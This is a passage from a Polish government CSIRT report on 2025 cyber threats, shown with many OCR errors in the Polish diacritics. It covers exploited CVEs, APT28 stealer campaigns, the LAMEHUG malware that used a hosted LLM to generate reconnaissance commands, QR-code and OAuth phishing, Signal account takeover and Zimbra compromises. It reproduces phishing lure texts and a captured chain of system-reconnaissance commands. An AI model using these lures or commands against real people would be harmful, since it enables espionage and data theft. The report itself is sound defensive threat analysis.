One. Umozliwia zdalnemu, nieuwierzytelnionemu atakujgcemu przestanie ztosliwego kodu oraz

wykonanie polecen systemowych na serwerze zarzadzajgcym. Wykorzystanie podatnosci moze
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prowadzi¢ do kompromitacji systemu.

. WinRAR (CVE-2025-8088) - Podatnos¢ typu path traversal programu WinRAR w wersji dla
systemu Windows umozliwia atakujgcemu zapisanie plikow poza katalogiem docelowym podczas
rozpakowywania spreparowanego archiwum. Moze to prowadzi¢ do zapisania ztosliwego pliku
w lokalizacjach uruchamianych automatycznie przez system, co w konsekwencji moze doprowadzi¢

do wykonania dowolnego kodu po otwarciu archiwum przez uzytkownika.

» Linksys (CVE-2025-9482) - Podatnosc¢ w urzadzeniach Linksys RE6250, RE6300, RE6350, RE6500,
RE7000 oraz RE9000 wynika z niewtasciwej walidacji danych wejsciowych interfejsu zarzadzania.
Atakujgcy moze zdalnie przestac spreparowane parametry w zadaniu HTTP, co prowadzi do

nadpisania pamieci i potencjalnego wykonania dowolnego kodu na urzadzeniu.
Wrzesien

» Cisco (CVE-2025-20333, CVE-2025-20363) - Zestaw krytycznych podatnosci w oprogramowaniu
Cisco Identity Services Engine (ISE) wynikajacych z niewtasciwej walidacji danych wejSciowych
oraz btedow w obstudze interfejsow aplikacyjnych. Luki moga umozliwi¢ atakujgcemu
wykonanie nieautoryzowanych operacji w systemie lub uzyskanie dostepu do wrazliwych danych
przechowywanych w platformie.

Pazdziernik

» Microsoft Windows (CVE-2025-33053) - Krytyczna podatnosc w kliencie WebDAV systemu Windows
umozliwia zdalne wykonanie kodu (RCE) poprzez wykorzystanie specjalnie spreparowanych plikdw
skrotow internetowych (URL). Luka wynika z niewtasciwej obstugi Sciezki roboczej podczas
uruchamiania skrotu, co moze doprowadzi¢ do uruchomienia narzedzia diagnostycznego Internet
Explorera (iediagcmd.exe) i zatadowania ztosliwego oprogramowania z kontrolowanego przez
atakujacego zasobu WebDAV. Atak wykorzystuje technike DLL/Binary Sideloading i moze prowadzi¢

do uruchomienia ztosliwego kodu w systemie ofiary.

» Oracle (CVE-2025-61882) - Krytyczna podatnos¢ w komponencie Oracle Concurrent Processing
(BI Publisher Integration) w pakiecie Oracle E-Business Suite umozliwia nieuwierzytelnionemu
atakujgcemu posiadajgcemu dostep do sieci wykonanie zdalnego kodu poprzez przestanie
spreparowanych zadan HTTP. Skuteczne wykorzystanie podatnosci moze prowadzi¢ do instalacji

ztosliwego oprogramowania, kradziezy danych oraz kompromitaciji systemu.
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» Oracle (CVE-2025-53072) - Krytyczne podatnosci w Oracle E-Business Suite w module Oracle

\\ \\\\'f\\\

Marketing (Marketing Administration), umozliwiajace zdalnemu, nieuwierzytelnionemu atakujgcemu

uzyskanie dostepu do systemu przez interfejs HTTP.
Listopad

« NetScaler (CVE-2025-12101) - Podatnos¢ w module webowym, umozliwiajgca wykonanie skryptu
po stronie klienta bez uwierzytelnienia, gdy urzadzenie jest skonfigurowane jako brama lub serwer

wirtualny.

« Fortinet (CVE-2025-64446) - Krytyczna podatnos¢ w wybranych produktach Fortinet wynikajaca
z niewtasciwej walidacji danych wejsciowych w interfejsie zarzadzania. Umozliwia zdalnemu
atakujgcemu przestanie spreparowanych zadan HTTP w celu wykonania nieautoryzowanych
operacji w systemie. W okreslonych scenariuszach wykorzystanie podatnosci moze prowadzic¢ do

uzyskania dostepu do urzadzenia oraz dalszej kompromitacji infrastruktury sieciowe;j.

» Microsoft Windows (CVE-2025-62215) - Podatnos¢ w systemie Microsoft Windows wynikajaca
z nieprawidtowej obstugi operacji w komponentach jadra systemu. Lokalny uzytkownik moze
wykorzystac luke do podniesienia uprawnien i wykonania kodu z uprawnieniami systemowymi, co

moze prowadzi¢ do kempromitaciji systemu operacyjnego.
Grudzien

« Fortinet (CVE-2025-59718) - Krytyczna podatno$¢ w mechanizmie FortiCloud SSO w produktach
Fortinet, wynikajaca z nieprawidtowej weryfikacji podpisow kryptograficznych. Luka umozliwia
atakujacemu przestanie spreparowanej odpowiedzi SAML, pominiecie procesu uwierzytelnienia

oraz uzyskanie nieautoryzowanego dostepu do urzadzenia.

- React (CVE-2025-55182) - Krytyczna podatnos¢ wynikajaca z nieprawidtowe] deserializacji danych
w protokole React Server Components. Luka umozliwia zdalne wykonanie kodu na serwerze

aplikacji poprzez przestanie specjalnie przygotowanych danych do aplikacji.
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2025 rok byt kolejnym, ktdry charakteryzowat sig wysokg aktywnoscig grup stanowigcych
zagrozenie dla bezpieczenstwa panstwa w obszarze cyberprzestrzeni. Aktorzy motywowani politycznie
oraz ideologicznie prowadzili ataki przeciwko organizacjom na catym Swiecie, w tym w Polsce. Potozenie
geograficzne Polski oraz zaangazowanie w sojusz NATO oraz Unie Europejska determinuje wysoki
poziom zagrozenia dla administracji panstwowej oraz infrastruktury krytycznej, wynikajacy z dziatan
ukierunkowanych przypisywanych przede wszystkim grupom o atrybucji rosyjskiej oraz chinskiej, a takze

innym, w mniejszym stopniu wyrdzniajacym sig w catosciowym krajobrazie zagrozen.

W 2025 roku Zespét CSIRT GOV obserwowat aktywnosc licznych aktorow, wsrdd ktorych wyrdznity
si¢ przede wszystkim grupy APT z kierunkow wschodnich oraz prorosyjskie kolektywy haktywistyczne.
Ponizej zaprezentowane zostaty najciekawsze zdarzenia z ubiegtego roku - kampanie socjotechniczne,

ataki z wykorzystaniem podatnosci oraz inne proby przetamywania zabezpieczen.

Kierunek rosyjski

W 2025 roku w cyberprzestrzeni RP, podobnie jak w poprzednich latach, dominujgcym zrddtem
zagrozenia pozostawata grupa okreslana jako APT28. Jej dziatalnosc przejawiata sie w 2025 roku w postaci
kampanii socjotechnicznych dystrybuujacych oprogramowanie typu stealer, a same zarejestrowane ataki

wymierzone byty w polska administracje rzadowa.

Jednym z przyktadow ataku grupy byta kampania spearphishingowa®, w ramach ktdrej ofierze
dostarczane byto zto$liwe oprogramowanie. W tresci wiadomosci aktor wykorzystat réznorodne motywy,
m.in. zaproszenie na konferencje miedzynarodowg czy najnowszy program wykorzystujacy sztuczna
inteligencje do modyfikowania fotografii. Formatowanie maila miato sugerowac, ze wiadomos$¢ zostata
przekazana dalej i jest autentyczng korespondencja przesytana w zaufaniu, a przejete skrzynki pocztowe

miaty dodatkowo zwigkszac wiarygodno$¢ nadawcy”.

3 - T1566 - Initial Access - Phishing
4 - T1586.002 - Resource Development - Compromise Accounts - Email Accounts
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FWD: UndressAl

From: Col Marek ==—— Ta——
Sent: Monday, April 22, 2025 10:43 PM

To: = Marcin e —

Subject: Undressal

Czest przyjacielu!

Przepraszam, fe dawno nle pisalem, jak sie masz?

Trzeba by sig spotkad, dawno sig nie widzielismy,

A propos, pamigtasz, méwitem <l o jakimé programie?

Maj znajomy w kohou mi go przysial, zaplach za niego 2035, a ja dostalem go za darmo!

Wrzucasz zdjecle, a on zdejmuje ubrania z czlowieka. Ale dziala dobrze tylko wtedy, gdy na zdjeciu jest
tylko jedna osoba.

Jedyny problem, méj antywirus sie wlaczyl, ale wylaczylem go | wszystko jest w porzadku.

Nie przesytaj tego nikomu, on mi tez nle chclal go wysytad,

Hasto do archiwum: UndressAl_Premiumyersionl23

Program tutaj;

hitps:iimega nzfile/MEEWCIC#DDVREZMidoWgnnGIMr2_gm9lk_Vidb-ILAKIhATMMw
Col Marek S=gp—
Chief expeart

Rysunek 36. Wiadomo$¢ w ramach kampanii APT28.

Link® zawarty w wiadomosci prowadzit do pobrania archiwum z popularnego serwisu do
udostepniania plikow?, ktdre zapisywane byto wowczas na stacji roboczej ofiary. Po jego rozpakowaniu
uzytkownik sktaniany byt do uruchomienia pliku wykonywalnego’ - dla motywu kampanii podszywajace;
sie pod konferencje miedzynarodowa byt to plik ConferenceAgenda.docx.exe, w przypadku oprogramowania

imitujacego aplikacje Al odpowiednio plik Screenshot.jpg.exe lub UndressAl_portable.exe.

5 - T1204.001 - Execution - User Execution - Malicious Link
6 - T1583.006 - Resource Development - Acquire Infrastructure - Web Services
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UndressAl_Premium

MainWindow jpg

UndressAl_portable.exe

Screenshot.jpg.exe

Rysunek 37. Zawarto$¢ archiwum pobranego z odnos$nika w wiadomosci dla kampanii z dystrybucjg oprogramowa-
nia Al.

Aktor zastosowat dla niektorych plikow w archiwum mechanizmy ukrycia rzeczywistego
rozszerzenia pliku wykonywalnego .exe®, wykorzystujgc ustawienia systemu Windows domyslnie
ukrywajgce rozszerzenia plikow. Mechanizm ten pozwalat na prezentacje uzytkownikowi nazwy plikéw
wykonywalnych jako potencjalnie nieztosliwych (np. jako dokument pakietu Office ConferenceAgenda.docx

lub pliku graficznego Screenshot.jpg).

@ PainWindow

[#=| Screenshot.jpg
(=] UndressAl_portable

Rysunek 38. Widok zawarto$ci rozpakowanego archiwum przy domyslnych ustawieniach wyswietlania.

8 - T1036.007 - Defense Evasion - Masquerading - Double File Extension
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Po uruchomieniu pliku nastgpowata komunikacja zto$liwego programu poprzez zapytanie HTTP
POST do adresu IP wskazujacego na zasob kontrolowany przez atakujgcego. Dane wysytane w ten
sposob zawieraty wykradzione przez ztoSliwe oprogramowanie informacje o systemie operacyjnym,
ciasteczkach przechowywanych na dysku’, zapisanych hastach® historii przegladarek oraz pliki
o wybranych rozszerzeniach". Analiza statyczna pliku wykazata, ze zostat on skompresowany packerem
UPX do rozmiaru 4 MB, a jego kod napisany w jezyku Go zostat zaobfuskowany. Wszystkie te elementy
wskazywaty, ze ztosliwe oprogramowanie dystrybuowane przez atakujgcego byto stealerem, wytworzonym
za pomoca narzedzia okreslanego jako VENOM, czyli konfigurowalnego, otwartozrodtowego generatora

oprogramowania stuzgcego do wykradania danych ze stacji roboczych.

Biorac pod uwage zidentyfikowane kampanie atrybuowane do grupy APT28, nie mozna pomingc¢
pewnego rodzaju kontynuacji poprzedniej kampanii, wykorzystujacej sztuczng inteligencje nie tylko jako
motyw, ale takze element samego malware'u. Jedna z wersji ztosliwego oprogramowania nazwanego
LAMEHUG wykorzystanego przeciwko celom w Polsce sugerowata wykorzystanie najnowszej technologii
Al do generowania realistycznych obrazéw zgodnie z okreslonymi danymi wejsciowymi wprowadzanymi
przez uzytkownika. Same wiadomosci wysytane przez atakujacych byty podobne do tych pochodzacych
z kampanii VENOM - ponownie tres¢ prezentowana byta jako przekazanie wczesniejszej korespondencii,

a ztosliwe oprogramowanie hostowane byto w tej samej ustudze.

9 - T1539 - Credential Access - Steal Web Session Cookie
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pragadeesh@amypo.in
pragadeesh@amypo.in

FWD: Uncensored (and erotic) images generator with some examples

2:42 AM

From: Al CANVAS PRO TEAM <team@aicanvaspro.com>

Sent: Thursday, June 19, 2025 10:43 AM

To: mikelF==—"w gr——

Subject: Uncensored (and erotic) images generator+ some examples

Hello,

We're thrilled to introduce Al Canvas Pro—the most advanced, uncensored Al image generator that brings your wildest ideas to life with no
restrictions. Whether you're an artist, designer, or just love experimenting with Al this tool is your gateway to boundless creativity.

Why Al Canvas Pro?

ITS FREE!

No Filters, No Limits - Generate any image you imagine

Hyper-Realistic Outputs - Stunning quality in seconds

Easy-to-Use - No technical skills needed. No registration. No email confirmation.

Exclusive Early Access - Download now before public release

Get It Now: https://mega.nz/folder/ —— i i ey —

Archive password: Al_Canvas_PRO_Uncensored_v0.9

Don't miss out—your imagination is the only limit!

Some example generated images can be found in the archive with the app.

Questions? Reply to this email—we'd love to help!

Rysunek 39. Wiadomo$¢ w ramach kampanii APT28 dystrybuujgca LAMEHUG.

Archiwum pobierane z zewnetrznego zasobu zawierato plik wykonywalny Image_generator_Al_
Canvas_PRO_v0.9.exe oraz towarzyszace mu pliki - przyktadowe zapytania w pliku tekstowym oraz obrazki
rzekomo wygenerowane przez narzedzie. Szkodliwe oprogramowanie uruchamiato sie w wierszu polecen,
gdzie ofiara naktaniana byta do wpisania wtasnego polecenia, a po jego zatwierdzeniu nastepowata

komunikacja z modelem LLM na platformie Hugging Face, petnigcym role serwera Command & Control™,

12 - T1588.007 - Resource Development - Obtain Capabilities - Artificial Intelligence \ﬁ
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Al_generator_uncensored_Car

Enter prompt to generate image, for example:

"Curvy naked woman sitting, long beautiful legs, front view, full body view, visible face".
Be as specific in your prompt as possible.

Prompts can be typed using any language, but english will return best results

To use this example prompt, press "ENTER"
To exit, enter "exit".

What should not be on the image.

Default: "missing fingers, deformed fingers, mutated hands, bad body,extra limbs, extra digit,
bad hands, bad fingers, extra fingers, bad proportions"

Press "ENTER" to use default

Rysunek 40. Program po uruchomieniu.

Oprogramowanie przesytato do ustugi sztucznej inteligencji prompt celem wygenerowania zestawu
komend gromadzacych informacje o stacji roboczej, systemie operacyjnym, procesach i konfiguracji
sieciowej, a nastepnie uzyskania kolejnych komend odpowiadajgcych za rekursywne kopiowanie plikow
pakietu Office, dokumentow PDF oraz plikow TXT z typowych folderow je przechowujgcych, a nastepnie
umieszczenie ich w nowo utworzonym folderze. Technika ta umozliwita atakujgcym uzyskanie ztosliwych
polecen bez zaimplementowania ich w kodzie programu, co tym samym utrudniato wtasciwg detekcje

w trakcie analizy®.

No. Time Source Destination Protocol Length Info
96 2025-86-24 15:19:52,437.. 10.9.2.15 ===3_F HTTP/JSON 553 POST /hyperbolic/vl/chat/completions HTTP/1.1 , JSON (application/json)
97 2025-86-24 15:19:52,437.. =%E="3 10.9.2.15 TCP 60443 - 58520 [ACK] Seq=4368 Ack=901 Win=65535 Len=0

00 1@C Ac 14 ACi10:Ca AT D—— 14 a1 ac Trn CAAAI . EAEIA TAFV1 €An_A2CO AAl_1ARA LI A_CCEIAE | An—A

[Member with value: role:Windows systems administrator]
String value: Windows systems administrator

Key: role

[Path: /messages/[]/role]

lember: content

[Path with value [..]: /messages/[]/content:Make a list of commands to create folder C:\\Programdata\\info and to gather computer information, hardware information, process and se
[Member with value [..]: content:Make a list of commands to create folder C:\\Programdata\\info and to gather computer information, hardware information, process and services info
String value [..]: Make a list of commands to create folder C:\\Programdata\\info and to gather computer information, hardware information, process and services information, netwo
Key: content

[Path: /messages/[]/content]

Rysunek 41. Zapytanie HTTP POST do sztucznej inteligencji.

No. Time Source Destination Protocol Length Info
134 2025-06-24 15:19:58,935.. *— = -= = 10.8.2.15 TLSV1.3 B88HTTP/1.1 20@ OK , JSON (application/json)
135 2825-86-24 15:19:58,937.. 18.8.2.15 E= - TCcpP 5458520 + 443 [FIN, ACK] Seq=1400 Ack=5688 Win=62928 Len=0
13C9BAC AC A4 AC.10.C8 03T T —a == w - 16 8 2 1c Ten £ AAD . CACAA FACK] €an_£COO Arb_ 1401 Win_CCCIE | an_a

[Path: /choices/[]/message/role]
Member: content
[Path with value [..]: /choices/[]/message/content:mkdir C:\\Programdata\\info &% systeminfo >> C:\\Programdata\\info\\infc.txt && wmic computersystem get name,domain >> C:\\Pro
[Member with value [.]: content:mkdir C:\\Programdata\\info && systeminfo >> C:\\Programdata\\info\\info.txt && wmic computersystem get name,domain >> C:\\Programdata\\info\\in
string value [..]: mkdir C:\\Programdata\\info && systeminfo >> C:\\Programdata\\info\\info.txt && wmic computersystem get name,domain >> C:\\Programdata\\info\\info.txt && wmic
Key: content
[Path: /choices/[]/message/content]

Rysunek 42. Odpowiedz serwera zawierajaca ztosliwe polecenia.
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Zwrocone polecenia byty wykonywane na zainfekowanej stacji roboczej ofiary. Wszystko to byto
realizowane w tle, gdzie jednoczesnie - celem uspienia czujnosci ofiary - prezentowany byt wytworzony

przez Al obrazek, przesytany w formie zaszyfrowanych w Baseb4 ciggow tekstowych™.

No. Time Source Destination Protocol  Length Info
4..2025-06-24 15:20:13,5065.. —— = 10.6.2.15 TCP 1494 443 + 50531 [ACK] Seq=49348 Ack=1136 Win=65535 Len=1440
4..2025-06-24 15:20:13,5066..  ——— 10.0.2.15 HTTP/JSON 64@HTTP/1.1 208 OK , JSON (application/json)

TLS segment data (8846 bytes)
- [7 Reassembled TLS segments (46673 bytes): #386(2241), #389(2636), #401(10544), #411(8949), #423(10071), #427(3386), #438(8846)]
[Frame: 386, payload: ©-2240 (2241 bytes)]
Frame: 389, payload: 2241-4876 (2636 bytes
Frame: 401, payload: 4877-154208 (10544 bytes)
[Frame: 411, payload: 15421-24369 (8949 bytes)]
[Frame: 423, payload: 24370-34440 (10071 bytes)]
[Frame: 427, payload: 34441-37826 (3386 bytes)]
[Frame: 438, payload: 37827-46672 (8846 bytes)]
[Segment count: 7]
[Reassembled PDU length: 46673]
[Reassembled PDU data [..]: 485454502f312e3120323030284f4b0d0ad36f6e74656e742d547970653a206170706¢69636174696F6e2f6a736f6e0d0ad36f6e74656e742d4c65

Rysunek 43. Odpowiedz serwera zawierajgca wygenerowang przez sztuczng inteligencije grafike.

Pod przykrywka dziatania zgodnie z zapowiedzig mailowa, oprocz rzeczywistego generowania
grafik narzedzie gromadzito réwniez informacje - dane na temat stacji roboczej oraz zapisane na niej
pliki. Dane te byty przesytane na zewnetrzny zasob poprzez protokot SSH®. Wskazana kampania stanowita
zarazem pierwszy zarejestrowany przez Zespot CSIRT GOV przypadek, gdzie sztuczna inteligencja zostata

wykorzystana jako integralny element funkcjonowania ztosliwego oprogramowania.

Rok 2025 przynidst takze aktywno$¢ nowego aktora, znanego jako Laundry Bear. Ujawnione
zagrozenie dotyczyto osdb potencjalnie zainteresowanych uczestnictwem w miedzynarodowej konferencji
z obszaru bezpieczenstwa narodowego i obronnosci, wykorzystujac zaproszenie na to rzeczywiste

wydarzenie w celu wytudzenia danych logowania®.

W celu uwiarygodnienia korespondencji aktor zastosowat technike typosquatting, co oznacza
zarejestrowanie domeny tudzaco podobnej nazwa do autentycznej, ale z podmiang jednego lub kilku znakéw

- w tym przypadku zarejestrowana przez aktora domena miata nazwe ebsumrnit.eu zamiast ebsummit.eu".

14 - TN40 - Defense Evasion - Deobfuscate/Decode Files or Information

15 - T1071 - Command and Control - Application Layer Protocol —
16 - T1656 - Defense Evasion - Impersonation 4
17 - T1583.001 - Resource Development - Acquire Infrastructure - Domains \\ /‘

2\\

/
—
WS \\
—



@ebsumrnit.eu 4/17/25, 8:33 AM
24 HOURS LEFT | Personal Invitation | European Defence & Security Summit 2025 | 10-11 June

We are pleased to invite you to the annual European Defence & Security Summit which will be
held on 10-11 June 2025 at Egmont Palace, Brussels.

Three years after Russia’s full-scale invasion of Ukraine, Europe’s strategic reality has shifted
irreversibly. As war grinds on at the EU’s borders, warnings that Moscow's ambitions extend
beyond Ukraine grow louder. Meanwhile, escalating tensions in the Middle East, compounded by
shifting U.S. foreign policy priorities, have injected further volatility into the global security order.

Against this backdrop, the 2025 European Defence and Security Summit will convene senior
leaders from national governments, EU institutions, NATO, industry, armed forces and
researchers from EU think tank to define Europe’s security priorities in this new era. Through
high-level discussions and strategic engagements, the summit will assess how Europe can
transform today's crises into opportunities - fortifying its defences, fostering resilience, and
cementing its role as a credible geopolitical actor.

To benefit from complimentary access to the Summit, please scan personal QR code from
invitation PDF file.

Registrations will close in 24 hours.

We look forward to meeting you.

Kind regards,
Rebecca B
Communications & Project Manager
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[ 1 attachment: Personal Invitation European Defence & Security Summit 2025 10-11 June.pdf

Rysunek 44. Wiadomos$¢ dystrybuowana w ramach kampanii Laundry Bear.

Ofiara byta zachecana w tresci wiadomosci do otwarcia zatacznika w postaci pliku PDF'
i zeskanowania umieszczonego w nim kodu QR", prowadzacego do fatszywego panelu logowania ustugi
Microsoft 365%. Jest to technika, ktdra pojawia sig w kampaniach socjotechnicznych coraz czesciej ze
wzgledu na state wzmacnianie ochrony poczty i catosci infrastruktury przez administratorow systeméw
atakowanych organizacji. Ofiara w tym przypadku siega po urzadzenie posiadajace kamere, tj. telefon
komorkowy lub tablet, ktdre typowo chronione s3 w znacznie mniejszym stopniu niz stacje robocze
pracownikow organizacji, a otwarcie phishingowej strony internetowej i podanie danych logowania do

stuzbowej poczty elektronicznej nie jest odnotowywane w logach monitorowanych przez administratorow.
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SCAN PERSONAL QR CODETO
REGISTER FOR THE SUMMIT

“We look forward to meeting you”

Arnaud Thysen
WWW.EBSUMMIT.EU Director General

Rysunek 45. Zawarto$¢ zatgcznika PDF z kodem QR prowadzgcym do fatszywego panelu logowania.

Aktywnos¢ w szczegdlny sposob wyrdzniajagcg sie w 2025 roku stanowity ataki na konta
w komunikatorach internetowych, stanowigcych istotne zrodto informacji dla adwersarza ukierunkowanego
na dziatania szpiegowskie. Zaohserwowane w Polsce ataki, podobnie jak w innych europejskich panstwach,
polegaty na podszywaniu sie przez atakujacego pod zespét wsparcia komunikatora - Signal Support, aby
pod pozorem weryfikacji konta po wykryciu podejrzanej aktywnosci wytudzi¢ kod weryfikacyjny oraz kod
PIN.

& @ Signal Support (1 R

Signal Security is here

Recently, attempts to hack users of our
messenger with the connection of
third-party devices to the account have
become more frequent.

In this regard, Signal updates Terms of
Services & Privacy Policy and introduces
Mandatory Two-factor Verification for
users.

Stay safe and thank you for using the
most secure messenger witam
end-to-end encryption.

(Q Akceptujesz prosbe o kontakt

Opcje

Enter the verification code.

345678 6 min @

Enter your PIN.

6374 5 min C@

W En

Rysunek 46. Przebieg ataku.
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W przypadku skutecznego ataku, gdy ofiara rzeczywiscie podata otrzymany w wiadomosci SMS kod
weryfikacyjny oraz kod PIN, aktor byt w stanie przenies¢ jej konto na nowe urzadzenie pozostajace pod jego
kontrolg, a nastepnie zmieni¢ numer telefonu przypisany do tego konta, skutecznie uniemozliwiajac jego
odzyskanie. W konsekwencji tego ataku atakujacy uzyskiwat dostep do grupowych czatdw ofiary, gdzie byt
wyswietlany dla pozostatych cztonkdw grupy jedynie komunikat o zmianie numeru bezpieczenstwa. Choé
aktor nie przejmowat historii konwersacji ofiary, to jednak wszelkie czaty dwustronne z kontaktami ofiary
po stronie drugiego korespondenta pozostawaty aktywne (z podobnym komunikatem o zmianie numeru
bezpieczenstwa), a kontynuowana rozmowa prowadzona byta juz z atakujgcym, nawet po utworzeniu
przez ofiare nowego konta na swodj numer telefonu. Kwestia zagrozen dotyczacych atakéw na konta

w komunikatorach internetowych zostata réwniez rozwinigta w stosownym rozdziale Raportu.

8,,Signal Support”

9 123456, 7890

Rysunek 47. Schemat ataku na komunikator Signal.

Komunikatory internetowe mogg zostac wykorzystane rowniez niejako w potaczeniu
z korespondencjag email w celu uwiarygodnienia komunikacji. W opisywanym przypadku atakujacy
rozpoczynat czat z ofiarg na komunikatorze WhatsApp, podszywajac sie pod przedstawiciela dyplomacji
innego panstwa pod pozorem proby zorganizowania spotkania z ambasadorem na platformie Microsoft
Teams. Link do spotkania byt nastepnie przestany zaréwno w czacie, jak i na stuzbowga skrzynke email
ofiary. Szczegdtowa instrukcja dotaczenia do spotkania online rowniez przestana w czacie wskazywata
kolejne kroki do wykonania, dgzace ostatecznie do przekazania aktorowi kodu autoryzacyjnego OAuth oraz

przejecia przez niego sesji Microsoft 3657
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Good morning. Short
instruction to connect to our
system: 1) Follow the invitation
link; 2) After authorization you
will be taken to the connection
page (empty page or white
page) with URL which looks
like: https://
login.microsoftonline.com/
WebApp/CloudDomainjoin/8?
code=[REDACTED] 3) Copy this
URL and send me back to
finish authorization of you.

Rysunek 48. Rekonstrukcja wiadomosci przestanej przez atakujgcego.

Ofiara, zgodnie z wytycznymi atakujacego, miata zalogowac sie swoimi danymi uwierzytelniajgcymi
do ustugi Microsoft 365%, a nastepnie dostarczy¢ do atakujgcego wygenerowany link, ktory zawierat kod
autoryzacyjny jako warto$¢ code=... Kod ten nastepnie mogt zosta¢ wymieniony na access token oraz
refresh token®, a co za tym idzie - umozliwi¢ atakujgcemu dostep do konta ofiary i mozliwos¢ odczytywania,

pobierania i edytowania danych.

Tego rodzaju sposob ataku stanowi rodzaj naduzycia mechanizmu OAuth 2.0, znany jako token-
based phishing. Jest to stosunkowo nowy typ zagrozenia, ktdrego istotnos¢ wynika w gtownej mierze
z upowszechnienia sie rozwigzan chmurowych, w tym ustug Microsoft 365 do utrzymywania stuzbowej

poczty oraz edycji dokumentow poza infrastrukturg samej organizacji, tzw. on-premise.

Kolejnym zagrozeniem zidentyfikowanym w ramach dziatan grup z kierunku rosyjskiego byt szereg
odnotowanych w 2025 roku incydentdow zwigzanych z naruszeniem bezpieczenstwa serwerdw poczty
elektronicznej bazujacych na oprogramowaniu Zimbra. Analiza atakow na Srodowisko poczty Zimbra
wykazata, ze kluczowym czynnikiem wptywajgcym na ich skutecznosc byty krytyczne braki w mechanizmach
zabezpieczen oraz luki w nieaktualizowanym oprogramowaniu. Zagrozenia te nie tylko dotyczyty Srodowisk
nalezacych do administracji publicznej, ale takze podmiotow sektora prywatnego, w tym z segmentu R&D,
ktore czesto dostarczajg rozwigzania dla kluczowych z punktu widzenia RP podmiotow, stanowigc zatem

podatne ogniwo tancucha dostaw.

Charakteryzujac ataki na to Srodowisko, wskaza¢ mozna prawidtowosci dotyczace wykorzystania
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licznych podatnosci celem uzyskania dostepu do systemu. Przyktadem jest jeden z zarejestrowanych
atakow, gdzie adwersarz wykorzystat wiele - w tym krytycznych - luk w podatnym serwerze Zimbra,
m.in. CVE-2022-27925 (Directory Traversal), CVE-2022-37042 (obejScie uwierzytelnienia), CVE-2022-41352
(Arbitrary File Upload - dowolne przestanie pliku) czy CVE-2024-45519 (Remote Code Execution).

Bazujac na zidentyfikowanych przypadkach atakow na serwery ZIMBRA, mozna wskazac
wykorzystanie opublikowanej w sierpniu 2022 roku podatnosci CVE-2022-37042, co umozliwiato
atakujgcemu zdalne wykonanie kodu bez uwierzytelnienia - podatnos¢ ta wynikata z ujawnionej w lutym
2022 roku podatnosci CVE-2022-27925, ktéra umozliwiata zapis pliku w dowolnym katalogu w systemie,
ale tylko dla konta z uprawnieniami administratora. CVE-2022-37042 pozwalata jednakze na ominigcie
wymagan administracyjnych i tym samym zdalne wgranie wtasnego kodu, np. webshella, do dowolnego,
ogdlnodostepnego katalogu na serwerze bez koniecznosci uwierzytelnienia. Kolejng zidentyfikowana
krytyczng luka, ktora mogta by¢ wykorzystana do atakow na serwery Zimbra, byta ujawniona we
wrzesniu 2022 roku CVE-2022-41352, pozwalajaca atakujgcemu na wystanie do dowolnego katalogu
serwera ztosliwego pliku, np. typu webshell. Wektorem ataku byto wystanie odpowiednio spreparowanej
wiadomosci, zawierajacej archiwum ze ztosliwym kodem na dowolny adres email atakowanego serwera.
Btad w zawartym w oprogramowaniu Zimbra mechanizmie filtrujgcym Amavis pozwalat nastepnie na
wypakowanie zawartosci wspomnianego archiwum do dowolnego, wybranego przez atakujacego katalogu

w systemie operacyjnym.

W wyniku wykorzystania powyzszych btedow na serwerze atakujacy byli w stanie umiescic
w sposob nieuprawniony wiele plikdw dostepu zdalnego typu webshell oraz narzedzi zdalnego przesytania
plikow, stuzacych do anonimowej eksfiltracji danych z systemu. Dodatkowo w ramach rozpoznanego
mechanizmu kompromitaciji srodowiska ZIMBRA zidentyfikowano nieuprawniong modyfikacje kodu panelu
logowania do kont, umozliwiajac atakujgcemu przechwytywanie loginu, hasta, danych przegladarki (tzw.
user-agent) oraz czasu i adresu IP potgczenia uzytkownika, a nastepnie zapisanie ich do pliku celem
eksfiltracji. Ponadto zaobserwowano, ze atakujacy mieli mozliwosc nieuprawnionego zdalnego dostepu do

konta administracyjnego serwera root z wykorzystaniem kluczy SSH.

Wsrad innych zidentyfikowanych ztosliwych narzedzi stwierdzono m.in. obecnosc skryptu stuzacego
do nieuprawnionego wyszukiwania wszystkich wiadomosci email uzytkownikéw serwera, odczytu ich tresci
i wyodrebniania z nich listy zatgcznikow. Wyrdzniajacym sie plikiem byta dodatkowo aplikacja stuzaca do

wydobywania kryptowaluty, rozpoznawana jako CoinMiner/XMRig.

Wyodrebnione artefakty $wiadczg z duzym prawdopodobienstwem, ze sprawcami tych atakéw
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mogty by¢ dwie rézne rosyjskojezyczne grupy APT, a takze motywowane finansowo grupy cyberprzestepcze.
Nalezy podkresli¢, iz ujawnione krytyczne podatnosci zostaty opublikowane w 2022 roku i krdtko pdzniej
zatatane przez producenta, jednak brak wdrozenia stosownych poprawek bezpieczenstwa skutkowat

wystawieniem Srodowiska ZIMBRA na szereg atakow, ktdre umozliwity atakujacym dostep do poczty.

Petnoskalowa agresja Rosji na Ukraine zapoczatkowata intensywny rozwoj Srodowisk okreslanych
m.in. mianem cyberpartyzanckich (ang. cyber-partisans), dla ktérych nadrzedny byt cel ideologiczny.
Pomijajac korzysci finansowe, grupy te publikowaty na prowadzonych przez siebie kanatach dokumentacje
wtasnych dziatan oraz materiaty pozyskane z atakéw typu hack-and-leak. W 2025 roku zjawiska te miaty

charakter trwaty i stanowity staty element krajobrazu cyberzagrozen.

Haktywizm — rozumiany jako potgczenie dziatan hakerskich z aktywizmem politycznym
lub ideologicznym — stat sie jednym z narzedzi prowadzenia dziatan o charakterze informacyjnym
i destabilizacyjnym w cyberprzestrzeni. W narracji prorosyjskich kolektywow celem ich aktywnosci byto
state wspieranie interesow Federacji Rosyjskiej oraz podejmowanie dziatan odwetowych wobec panstw
NATO i Unii Europejskiej zaangazowanych we wsparcie Ukrainy. Srodowiska haktywistyczne funkcjonowaty
w modelu rozproszonym i sieciowym. Poszczegdlne grupy komunikowaty sie gtownie za posrednictwem
platform spotecznosciowych i komunikatorow, gdzie prowadzono rekrutacje, koordynowano operacje
oraz publikowano materiaty propagandowe, popularnym srodkiem komunikacji byty kanaty komunikatora
Telegram. Charakterystyczna dla tych grup byta duza zmienno$¢ struktur — czesc kolektywow taczyta sity
w ramach doraznych koalicji, inne zanikaty lub przeksztatcaty sie pod wptywem presji organdw Scigania
badz sporow wewnetrznych. Zespdt CSIRT GOV w odniesieniu do powyzszego stwierdzenia zarejestrowat
w 2025 roku dziatania pod tagiem ,#0pPoland”, ktore byty potgczeniem aktywnosci kilku grup. Wsrod
najbardziej rozpoznawalnych i podmiotow, ktdre w ostatnich latach prowadzity stale aktywnosc wpisujaca
